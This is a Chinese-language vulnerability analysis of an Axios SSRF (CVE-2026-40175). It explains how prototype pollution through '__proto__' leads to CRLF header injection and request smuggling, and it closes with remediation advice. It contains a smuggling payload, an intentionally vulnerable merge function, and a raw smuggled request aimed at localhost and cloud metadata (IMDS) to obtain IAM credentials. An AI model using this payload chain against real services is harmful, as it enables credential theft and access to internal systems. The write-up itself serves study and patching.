Axios SSRF漏洞(CVE-2026-40175)漏洞分析
字数 2177
更新时间 2026-07-12 12:59:18
Axios SSRF漏洞(CVE-2026-40175)教学文档
一、漏洞概述
漏洞编号:CVE-2026-40175
漏洞类型:服务器端请求伪造(SSRF)
影响范围:Axios < 1.15.0
漏洞描述:Axios是一个基于Promise的HTTP客户端,可在浏览器和Node.js环境中运行,用于向后端API发送异步请求。在1.15.0版本之前,存在一个SSRF漏洞,未授权的攻击者可以构造畸形的HTTP结构发送至非预期目标,导致敏感信息泄露。
二、前置知识
2.1 原型污染(Prototype Pollution)
攻击者通过输入数据修改JavaScript对象的原型(Object.prototype),导致所有对象都继承了恶意属性。
2.2 HTTP请求走私(Request Smuggling)
攻击者可构造特殊请求,使前端转发一个请求,而后端将其拆分为多个请求,从而绕过安全控制。
2.3 CRLF注入
通过在HTTP头部值中插入\r\n(回车换行符),将单个HTTP请求拆分成多段。
三、利用条件
| 条件 | 说明 |
|---|---|
| 输入可控 | 攻击者能控制传给应用的参数(如HTTP body、querystring、表单数据) |
| 解析库使用 | 应用使用 JSON.parse()、qs.parse()、lodash.merge() 等库处理用户输入 |
| 未过滤特殊键 | 应用没有对 __proto__、constructor 等特殊属性做过滤或清理 |
| Axios配置合并 | 应用使用Axios,并在请求时会合并配置对象(mergeConfig),继承污染后的属性 |
| Header注入可利用 | 攻击者注入的header值中包含\r\n,能让HTTP请求被拆分成多段 |
| 代理或中间件存在 | 请求经过Nginx、负载均衡或其他代理,允许请求走私生效 |
四、攻击链流程
攻击者输入数据 (query/body)
│ 带有 __proto__ 字段
▼
解析库处理输入 (JSON.parse / qs.parse / lodash.merge)
│ 未过滤 __proto__
▼
原型污染成功 (Object.prototype 被注入 headers)
│ 普通对象继承恶意属性
▼
Axios 合并配置 (mergeConfig)
│ header中出现攻击者注入值,代表污染成功
▼
Header 注入 (值包含 \r\n)
│ 请求走私,请求被拆分成多段
▼
请求走私成功 (第一段正常,第二段伪造)
五、漏洞复现详解
5.1 构造Payload
// payload结构示例
{
"__proto__": {
"headers": {
"X-Smuggle": "GET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n"
}
}
}
- 使用
JSON.parse解析payload(注意:JSON.parse本身是安全的,这里的__proto__只是普通字符串key) - payload将在headers中注入一个
X-Smuggle头,值为一个完整的HTTP请求数据包 - Host填写目标地址(如imds、localhost),用于模拟窃取IAM凭证等敏感信息
5.2 原型污染实现
关键函数——vulnerableMerge(用于演示污染原理):
function vulnerableMerge(target, source) {
for (const key in source) {
if (source.hasOwnProperty(key)) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
}
为什么 target["__proto__"] 返回的是 Object.prototype?
- 调用
vulnerableMerge时传入的target为{} - 对于普通对象
{},其原型就是Object.prototype - 所以
({})["__proto__"] === Object.prototype
通过递归调用,攻击者传入的属性被直接写入到全局的 Object.prototype,这里是写入 Object.prototype.headers。
5.3 Axios合并配置缺陷
Axios 1.14.1中存在缺陷的 mergeConfig 逻辑(简化版):
function mergeConfig(defaultConfig, userConfig) {
const config = {};
// 合并默认配置
for (const key in defaultConfig) {
config[key] = defaultConfig[key];
}
// 合并用户配置
for (const key in userConfig) {
// ❌ 致命缺陷:没有检查key是否是对象自身的属性
// 会遍历原型链上的所有属性
config[key] = userConfig[key];
}
return config;
}
后果:只要 Object.prototype 被污染了任何与Axios配置相关的属性(如 headers、method、url 等),这些属性都会被自动应用到所有Axios请求中,无论这些请求是硬编码的还是动态生成的。
5.4 验证原型污染和请求走私
// 创建一个新的空对象
const fresh = {};
// 如果原型污染成功,这个对象会继承被注入到 Object.prototype 的属性
console.log(fresh.headers);
// 污染成功 → 显示攻击者注入的 headers 对象
// 污染失败 → undefined
// 检测CRLF注入是否可行
const hasCRLF = /\r\n/.test(fresh.headers['X-Smuggle']);
// true 代表 header 值里有 \r\n,能够进行请求走私
5.5 发起请求触发CRLF注入
// 创建新空对象
const options = {};
// 提取 options.headers(已被污染)
const taintedHeaders = options.headers;
// 此时 taintedHeaders 变成普通对象的自有属性,不再依赖原型链
// 删除全局污染,避免继续影响 Axios 内部逻辑
delete Object.prototype.headers;
// ⚠️ 关键点:如果不删除,全局污染会让 Axios 在合并配置时崩溃
// 使用 taintedHeaders 作为 header
// adapter: rawSocketAdapter 表示 HTTP 请求不走默认逻辑,而是自定义
axios.post('/api/data', {}, {
headers: taintedHeaders,
adapter: rawSocketAdapter
});
5.6 请求响应
服务端返回两个响应:
- 第一个响应:正常的业务响应
- 第二个响应:伪造请求的响应
第二个响应包中包含敏感信息(如 FAKE-IMDSv2-TOKEN-deadbeef1234),证明伪造请求确实到达了模拟的IMDS服务,并返回了假凭证。
进入容器内请求验证,响应内容一致,确认请求走私成功。
六、攻击效果
- 请求走私导致SSRF:可造成由服务端发起的HTTP请求
- 绕过安全控制:攻击者可通过构造的特殊请求,使前端转发一个请求,而后端将其拆分为多个请求
- 敏感信息泄露:可访问内网服务(如云厂商的IMDS元数据服务),窃取IAM凭证等敏感信息
请求走私示例:
GET /test HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0
Accept: */*
X-Test: value\r\n
GET /admin HTTP/1.1\r\n
Host: localhost\r\n
七、修复建议
- 升级Axios版本:升级到 1.15.0 及以上版本
- 过滤特殊属性:在处理用户输入时,过滤
__proto__、constructor、prototype等特殊键 - 使用安全合并函数:确保配置合并时只遍历对象自身的属性(
hasOwnProperty检查) - 限制出站流量:通过网络策略限制服务器对外部或内部敏感服务的访问
- 输入验证:对HTTP头部值进行严格校验,防止CRLF注入
八、参考链接
- POC仓库:https://github.com/pjt3591oo/CVE-2026-40175-poc
- 详细分析:https://blog.csdn.net/weixin_42376192/article/details/160135877
相似文章
相似文章